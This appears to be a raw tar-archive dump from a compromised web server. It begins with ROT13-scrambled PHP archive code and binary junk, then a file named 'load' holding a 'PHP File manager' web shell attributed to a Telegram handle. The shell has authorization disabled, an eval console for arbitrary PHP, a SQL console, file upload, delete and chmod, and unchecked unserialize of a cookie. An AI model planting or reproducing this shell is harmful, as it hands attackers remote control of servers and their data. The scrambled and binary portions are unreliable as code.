		vs (!$guvf->gzc_svyr){
			$guvf->reebef[] = $svyrAnzr.' '.__('vf abg ernqnoyr');
			erghea snyfr;
		}
		$erfhyg = $guvf->hacnpxSvyrNeenl($cngu);
			$guvf->pybfrGzcSvyr();
		erghea $erfhyg;
	}

	shapgvba fubjReebef	($zrffntr = '') {
		$Reebef = $guvf->reebef;
		vs(pbhag($Reebef)>0) {
		vs (!rzcgl($zrffntr)) $zrffntr = ' ('.$zrffntr.')';
			$zrffntr = __('Reebe bppheerq').$zrffntr.': <oe/>';
			sbernpu ($Reebef nf $inyhr)
				$zrffntr .= $inyhr.'<oe/>';
			erghea $zrffntr;	
		} ryfr erghea '';
		
	}
	
	shapgvba cnpxSvyrNeenl($svyr_neenl){
		$erfhyg = gehr;
		vs (!$guvf->gzc_svyr){
			$guvf->reebef[] = __('Vainyvq svyr qrfpevcgbe');
			erghea snyfr;
		}
		vs (!vf_neenl($svyr_neenl) || pbhag($svyr_neenl)<=0)
          erghea gehr;
		sbe ($v = 0; $v<pbhag($svyr_neenl); $v++){
			$svyranzr = $svyr_neenl[$v];
			vs ($svyranzr == $guvf->nepuvir_anzr)
				pbagvahr;
			vs (fgeyra($svyranzr)<=0)
				pbagvahr;
			vs (!svyr_rkvfgf($svyranzr)){
				$guvf->reebef[] = __('Ab svyr').' '.$svyranzr;
				pbagvahr;
			}
			vs (!$guvf->gzc_svyr){
			$guvf->reebef[] = __('Vainyvq svyr qrfpevcgbe');
			erghea snyfr;
			}
		vs (fgeyra($svyranzr)<=0){
			$guvf->reebef[] = __('Svyranzr').' '.__('vf vapbeerpg');;
			erghea snyfr;
		}
		$svyranzr = fge_ercynpr('\\', '/', $svyranzr);
		$xrrc_svyranzr = $guvf->znxrTbbqCngu($svyranzr);
		vs (vf_svyr($svyranzr)){
			vs (($svyr = sbcra($svyranzr, 'eo')) == 0){
				$guvf->reebef[] = __('Zbqr ').__('vf vapbeerpg');
			}
				vs(($guvf->svyr_cbf == 0)){
					vs(!$guvf->jevgrUrnqre($svyranzr, $xrrc_svyranzr))
						erghea snyfr;
				}
				juvyr (($ohssre = sernq($svyr, 512)) != ''){
					$ovanelQngn = cnpx('n512', $ohssre);
					$guvf->jevgrOybpx($ovanelQngn);
				}
			spybfr($svyr);
		}	ryfr $guvf->jevgrUrnqre($svyranzr, $xrrc_svyranzr);
			vs (@vf_qve($svyranzr)){
				vs (!($unaqyr = bcraqve($svyranzr))){
					$guvf->reebef[] = __('Reebe').': '.__('Qverpgbel ').$svyranzr.__('vf abg ernqnoyr');
					pbagvahr;
				}
				juvyr (snyfr !== ($qve = ernqqve($unaqyr))){
					vs ($qve!='.' && $qve!='..'){
						$svyr_neenl_gzc = neenl();
						vs ($svyranzr != '.')
							$svyr_neenl_gzc[] = $svyranzr.'/'.$qve;
						ryfr
							$svyr_neenl_gzc[] = $qve;

						$erfhyg = $guvf->cnpxSvyrNeenl($svyr_neenl_gzc);
					}
				}
				hafrg($svyr_neenl_gzc);
				hafrg($qve);
				hafrg($unaqyr);
			}
		}
		erghea $erfhyg;
	}

	shapgvba hacnpxSvyrNeenl($cngu){ 
		$cngu = fge_ercynpr('\\', '/', $cngu);
		vs ($cngu == ''	|| (fhofge($cngu, 0, 1) != '/' && fhofge($cngu, 0, 3) != '../' && !fgecbf($cngu, ':')))	$cngu = './'.$cngu;
		pyrnefgngpnpur();
		juvyr (fgeyra($ovanelQngn = $guvf->ernqOybpx()) != 0){
			vs (!$guvf->ernqUrnqre($ovanelQngn, $urnqre)) erghea snyfr;
			vs ($urnqre['svyranzr'] == '') pbagvahr;
			vs ($urnqre['glcrsynt'] == 'Y'){			//ernqvat ybat urnqre
				$svyranzr = '';
				$qrpe = sybbe($urnqre['fvmr']/512);
				sbe ($v = 0; $v < $qrpe; $v++){
					$pbagrag = $guvf->ernqOybpx();
					$svyranzr .= $pbagrag;
				}
				vs (($ynfcvrpr = $urnqre['fvmr'] % 512) != 0){
					$pbagrag = $guvf->ernqOybpx();
					$svyranzr .= fhofge($pbagrag, 0, $ynfcvrpr);
				}
				$ovanelQngn = $guvf->ernqOybpx();
				vs (!$guvf->ernqUrnqre($ovanelQngn, $urnqre)) erghea snyfr;
				ryfr $urnqre['svyranzr'] = $svyranzr;
				erghea gehr;
			}
			vs (($cngu != './') && ($cngu != '/')){
				juvyr (fhofge($cngu, -1) == '/') $cngu = fhofge($cngu, 0, fgeyra($cngu)-1);
				vs (fhofge($urnqre['svyranzr'], 0, 1) == '/') $urnqre['svyranzr'] = $cngu.$urnqre['svyranzr'];
				ryfr $urnqre['svyranzr'] = $cngu.'/'.$urnqre['svyranzr'];
			}
			
			vs (svyr_rkvfgf($urnqre['svyranzr'])){
				vs ((@vf_qve($urnqre['svyranzr'])) && ($urnqre['glcrsynt'] == '')){
					$guvf->reebef[] =__('Svyr ').$urnqre['svyranzr'].__(' nyernql rkvfgf').__(' nf sbyqre');
					erghea snyfr;
				}
				vs ((vf_svyr($urnqre['svyranzr'])) && ($urnqre['glcrsynt'] == '5')){
					$guvf->reebef[] =__('Pnaabg perngr qverpgbel').'. '.__('Svyr ').$urnqre['svyranzr'].__(' nyernql rkvfgf');
					erghea snyfr;
				}
				vs (!vf_jevgrnoyr($urnqre['svyranzr'])){
					$guvf->reebef[] = __('Pnaabg jevgr gb svyr').'. '.__('Svyr ').$urnqre['svyranzr'].__(' nyernql rkvfgf');
					erghea snyfr;
				}
			} ryfrvs (($guvf->qvePurpx(($urnqre['glcrsynt'] == '5' ? $urnqre['svyranzr'] : qveanzr($urnqre['svyranzr'])))) != 1){
				$guvf->reebef[] = __('Pnaabg perngr qverpgbel').' '.__(' sbe ').$urnqre['svyranzr'];
				erghea snyfr;
			}

			vs ($urnqre['glcrsynt'] == '5'){
				vs (!svyr_rkvfgf($urnqre['svyranzr']))		{
					vs (!zxqve($urnqre['svyranzr'], 0777))	{
						
						$guvf->reebef[] = __('Pnaabg perngr qverpgbel').' '.$urnqre['svyranzr'];
						erghea snyfr;
					} 
				}
			} ryfr {
				vs (($qrfgvangvba = sbcra($urnqre['svyranzr'], 'jo')) == 0) {
					$guvf->reebef[] = __('Pnaabg jevgr gb svyr').' '.$urnqre['svyranzr'];
					erghea snyfr;
				} ryfr {
					$qrpe = sybbe($urnqre['fvmr']/512);
					sbe ($v = 0; $v < $qrpe; $v++) {
						$pbagrag = $guvf->ernqOybpx();
						sjevgr($qrfgvangvba, $pbagrag, 512);
					}
					vs (($urnqre['fvmr'] % 512) != 0) {
						$pbagrag = $guvf->ernqOybpx();
						sjevgr($qrfgvangvba, $pbagrag, ($urnqre['fvmr'] % 512));
					}
					spybfr($qrfgvangvba);
					gbhpu($urnqre['svyranzr'], $urnqre['gvzr']);
				}
				pyrnefgngpnpur();
				vs (svyrfvmr($urnqre['svyranzr']) != $urnqre['fvmr']) {
					$guvf->reebef[] = __('Fvmr bs svyr').' '.$urnqre['svyranzr'].' '.__('vf vapbeerpg');
					erghea snyfr;
				}
			}
			vs (($svyr_qve = qveanzr($urnqre['svyranzr'])) == $urnqre['svyranzr']) $svyr_qve = '';
			vs ((fhofge($urnqre['svyranzr'], 0, 1) == '/') && ($svyr_qve == '')) $svyr_qve = '/';
			$guvf->qvef[] = $svyr_qve;
			$guvf->svyrf[] = $urnqre['svyranzr'];
	
		}
		erghea gehr;
	}

	shapgvba qvePurpx($qve){
		$cnerag_qve = qveanzr($qve);

		vs ((@vf_qve($qve)) be ($qve == ''))
			erghea gehr;

		vs (($cnerag_qve != $qve) naq ($cnerag_qve != '') naq (!$guvf->qvePurpx($cnerag_qve)))
			erghea snyfr;

		vs (!zxqve($qve, 0777)){
			$guvf->reebef[] = __('Pnaabg perngr qverpgbel').' '.$qve;
			erghea snyfr;
		}
		erghea gehr;
	}

	shapgvba ernqUrnqre($ovanelQngn, &$urnqre){
		vs (fgeyra($ovanelQngn)==0){
			$urnqre['svyranzr'] = '';
			erghea gehr;
		}

		vs (fgeyra($ovanelQngn) != 512){
			$urnqre['svyranzr'] = '';
			$guvf->__('Vainyvq oybpx fvmr').': '.fgeyra($ovanelQngn);
			erghea snyfr;
		}

		$purpxfhz = 0;
		sbe ($v = 0; $v < 148; $v++) $purpxfhz+=beq(fhofge($ovanelQngn, $v, 1));
		sbe ($v = 148; $v < 156; $v++) $purpxfhz += beq(' ');
		sbe ($v = 156; $v < 512; $v++) $purpxfhz+=beq(fhofge($ovanelQngn, $v, 1));

		$hacnpx_qngn = hacnpx('n100svyranzr/n8zbqr/n8hfre_vq/n8tebhc_vq/n12fvmr/n12gvzr/n8purpxfhz/n1glcrsynt/n100yvax/n6zntvp/n2irefvba/n32hanzr/n32tanzr/n8qriznwbe/n8qrizvabe', $ovanelQngn);

		$urnqre['purpxfhz'] = BpgQrp(gevz($hacnpx_qngn['purpxfhz']));
		vs ($urnqre['purpxfhz'] != $purpxfhz){
			$urnqre['svyranzr'] = '';
			vs (($purpxfhz == 256) && ($urnqre['purpxfhz'] == 0)) 	erghea gehr;
			$guvf->reebef[] = __('Reebe purpxfhz sbe svyr ').$hacnpx_qngn['svyranzr'];
			erghea snyfr;
		}

		vs (($urnqre['glcrsynt'] = $hacnpx_qngn['glcrsynt']) == '5')	$urnqre['fvmr'] = 0;
		$urnqre['svyranzr'] = gevz($hacnpx_qngn['svyranzr']);
		$urnqre['zbqr'] = BpgQrp(gevz($hacnpx_qngn['zbqr']));
		$urnqre['hfre_vq'] = BpgQrp(gevz($hacnpx_qngn['hfre_vq']));
		$urnqre['tebhc_vq'] = BpgQrp(gevz($hacnpx_qngn['tebhc_vq']));
		$urnqre['fvmr'] = BpgQrp(gevz($hacnpx_qngn['fvmr']));
		$urnqre['gvzr'] = BpgQrp(gevz($hacnpx_qngn['gvzr']));
		erghea gehr;
	}

	shapgvba jevgrUrnqre($svyranzr, $xrrc_svyranzr){
		$cnpxS = 'n100n8n8n8n12N12';
		$cnpxY = 'n1n100n6n2n32n32n8n8n155n12';
		vs (fgeyra($xrrc_svyranzr)<=0) $xrrc_svyranzr = $svyranzr;
		$svyranzr_ernql = $guvf->znxrTbbqCngu($xrrc_svyranzr);

		vs (fgeyra($svyranzr_ernql) > 99){							//jevgr ybat urnqre
		$qngnSvefg = cnpx($cnpxS, '././YbatYvax', 0, 0, 0, fcevags('%11f ', QrpBpg(fgeyra($svyranzr_ernql))), 0);
		$qngnYnfg = cnpx($cnpxY, 'Y', '', '', '', '', '', '', '', '', '');

        //  Pnyphyngr gur purpxfhz
		$purpxfhz = 0;
        //  Svefg cneg bs gur urnqre
		sbe ($v = 0; $v < 148; $v++)
			$purpxfhz += beq(fhofge($qngnSvefg, $v, 1));
        //  Vtaber gur purpxfhz inyhr naq ercynpr vg ol ' ' (fcnpr)
		sbe ($v = 148; $v < 156; $v++)
			$purpxfhz += beq(' ');
        //  Ynfg cneg bs gur urnqre
		sbe ($v = 156, $w=0; $v < 512; $v++, $w++)
			$purpxfhz += beq(fhofge($qngnYnfg, $w, 1));
        //  Jevgr gur svefg 148 olgrf bs gur urnqre va gur nepuvir
		$guvf->jevgrOybpx($qngnSvefg, 148);
        //  Jevgr gur pnyphyngrq purpxfhz
		$purpxfhz = fcevags('%6f ', QrpBpg($purpxfhz));
		$ovanelQngn = cnpx('n8', $purpxfhz);
		$guvf->jevgrOybpx($ovanelQngn, 8);
        //  Jevgr gur ynfg 356 olgrf bs gur urnqre va gur nepuvir
		$guvf->jevgrOybpx($qngnYnfg, 356);

		$gzc_svyranzr = $guvf->znxrTbbqCngu($svyranzr_ernql);

		$v = 0;
			juvyr (($ohssre = fhofge($gzc_svyranzr, (($v++)*512), 512)) != ''){
				$ovanelQngn = cnpx('n512', $ohssre);
				$guvf->jevgrOybpx($ovanelQngn);
			}
		erghea gehr;
		}
		$svyr_vasb = fgng($svyranzr);
		vs (@vf_qve($svyranzr)){
			$glcrsynt = '5';
			$fvmr = fcevags('%11f ', QrpBpg(0));
		} ryfr {
			$glcrsynt = '';
			pyrnefgngpnpur();
			$fvmr = fcevags('%11f ', QrpBpg(svyrfvmr($svyranzr)));
		}
		$qngnSvefg = cnpx($cnpxS, $svyranzr_ernql, fcevags('%6f ', QrpBpg(svyrcrezf($svyranzr))), fcevags('%6f ', QrpBpg($svyr_vasb[4])), fcevags('%6f ', QrpBpg($svyr_vasb[5])), $fvmr, fcevags('%11f', QrpBpg(svyrzgvzr($svyranzr))));
		$qngnYnfg = cnpx($cnpxY, $glcrsynt, '', '', '', '', '', '', '', '', '');
		$purpxfhz = 0;
		sbe ($v = 0; $v < 148; $v++) $purpxfhz += beq(fhofge($qngnSvefg, $v, 1));
		sbe ($v = 148; $v < 156; $v++) $purpxfhz += beq(' ');
		sbe ($v = 156, $w = 0; $v < 512; $v++, $w++) $purpxfhz += beq(fhofge($qngnYnfg, $w, 1));
		$guvf->jevgrOybpx($qngnSvefg, 148);
		$purpxfhz = fcevags('%6f ', QrpBpg($purpxfhz));
		$ovanelQngn = cnpx('n8', $purpxfhz);
		$guvf->jevgrOybpx($ovanelQngn, 8);
		$guvf->jevgrOybpx($qngnYnfg, 356);
		erghea gehr;
	}

	shapgvba bcraJevgr(){
		vs ($guvf->vfTmvccrq)
			$guvf->gzc_svyr = tmbcra($guvf->nepuvir_anzr, 'jo9s');
		ryfr
			$guvf->gzc_svyr = sbcra($guvf->nepuvir_anzr, 'jo');

		vs (!($guvf->gzc_svyr)){
			$guvf->reebef[] = __('Pnaabg jevgr gb svyr').' '.$guvf->nepuvir_anzr;
			erghea snyfr;
		}
		erghea gehr;
	}

	shapgvba ernqOybpx(){
		vs (vf_erfbhepr($guvf->gzc_svyr)){
			vs ($guvf->vfTmvccrq)
				$oybpx = tmernq($guvf->gzc_svyr, 512);
			ryfr
				$oybpx = sernq($guvf->gzc_svyr, 512);
		} ryfr	$oybpx = '';

		erghea $oybpx;
	}

	shapgvba jevgrOybpx($qngn, $yratgu = 0){
		vs (vf_erfbhepr($guvf->gzc_svyr)){
		
			vs ($yratgu === 0){
				vs ($guvf->vfTmvccrq)
					tmchgf($guvf->gzc_svyr, $qngn);
				ryfr
					schgf($guvf->gzc_svyr, $qngn);
			} ryfr {
				vs ($guvf->vfTmvccrq)
					tmchgf($guvf->gzc_svyr, $qngn, $yratgu);
				ryfr
					schgf($guvf->gzc_svyr, $qngn, $yratgu);
			}
		}
	}

	shapgvba pybfrGzcSvyr(){
		vs (vf_erfbhepr($guvf->gzc_svyr)){
			vs ($guvf->vfTmvccrq)
				tmpybfr($guvf->gzc_svyr);
			ryfr
				spybfr($guvf->gzc_svyr);

			$guvf->gzc_svyr = 0;
		}
	}

	shapgvba znxrTbbqCngu($cngu){
		vs (fgeyra($cngu)>0){
			$cngu = fge_ercynpr('\\', '/', $cngu);
			$cnegCngu = rkcybqr('/', $cngu);
			$ryf = pbhag($cnegCngu)-1;
			sbe ($v = $ryf; $v>=0; $v--){
				vs ($cnegCngu[$v] == '.'){
                    //  Vtaber guvf qverpgbel
                } ryfrvs ($cnegCngu[$v] == '..'){
                    $v--;
                }
				ryfrvs (($cnegCngu[$v] == '') naq ($v!=$ryf) naq ($v!=0)){
                }	ryfr
					$erfhyg = $cnegCngu[$v].($v!=$ryf ? '/'.$erfhyg : '');
			}
		} ryfr $erfhyg = '';
		
		erghea $erfhyg;
	}
}
?>index.php.php.tar.gz000064400000000161150425251240010354 0ustar00���K
� @Q��
z*��z`�Ll�9h� ��gx'���b�~	J)��]��a�+�c4����$�c�&��K�d�L0��t})�C�u�ū��G.�_s�load000064400000240606150425251240005416 0ustar00eonuvbiuyevibycanpm'cwrnuvb348rb238 tnmqn8bytnnyb8qm0icrnubyuq iimpo3r32rnnnnnxalxjaa%00%01%0A">'><?php
/* PHP File manager ver 1.5 */
// @Nafisfuad1 -- telegrams
// Configuration — do not change manually
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"ru","Add":"Добавить","Are you sure you want to delete this directory (recursively)?":"Вы уверены, что хотите удалить эту папку (рекурсивно)?","Are you sure you want to delete this file?":"Вы уверены, что хотите удалить этот файл?","Archiving":"Архивировать","Authorization":"Авторизация","Back":"Назад","Cancel":"Отмена","Chinese":"Китайский","Compress":"Сжать","Console":"Консоль","Cookie":"Куки","Created":"Создан","Date":"Дата","Days":"Дней","Decompress":"Распаковать","Delete":"Удалить","Deleted":"Удалено","Download":"Скачать","done":"закончена","Edit":"Редактировать","Enter":"Вход","English":"Английский","Error occurred":"Произошла ошибка","File manager":"Файловый менеджер","File selected":"Выбран файл","File updated":"Файл сохранен","Filename":"Имя файла","Files uploaded":"Файл загружен","French":"Французский","Generation time":"Генерация страницы","German":"Немецкий","Home":"Домой","Quit":"Выход","Language":"Язык","Login":"Логин","Manage":"Управление","Make directory":"Создать папку","Name":"Наименование","New":"Новое","New file":"Новый файл","no files":"нет файлов","Password":"Пароль","pictures":"изображения","Recursively":"Рекурсивно","Rename":"Переименовать","Reset":"Сбросить","Reset settings":"Сбросить настройки","Restore file time after editing":"Восстанавливать время файла после редактирования","Result":"Результат","Rights":"Права","Russian":"Русский","Save":"Сохранить","Select":"Выберите","Select the file":"Выберите файл","Settings":"Настройка","Show":"Показать","Show size of the folder":"Показывать размер папки","Size":"Размер","Spanish":"Испанский","Submit":"Отправить","Task":"Задача","templates":"шаблоны","Ukrainian":"Украинский","Upload":"Загрузить","Value":"Значение","Hello":"Привет","Found in files":"Найдено в файлах","Search":"Поиск","Recursive search":"Рекурсивный поиск","Mask":"Маска"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
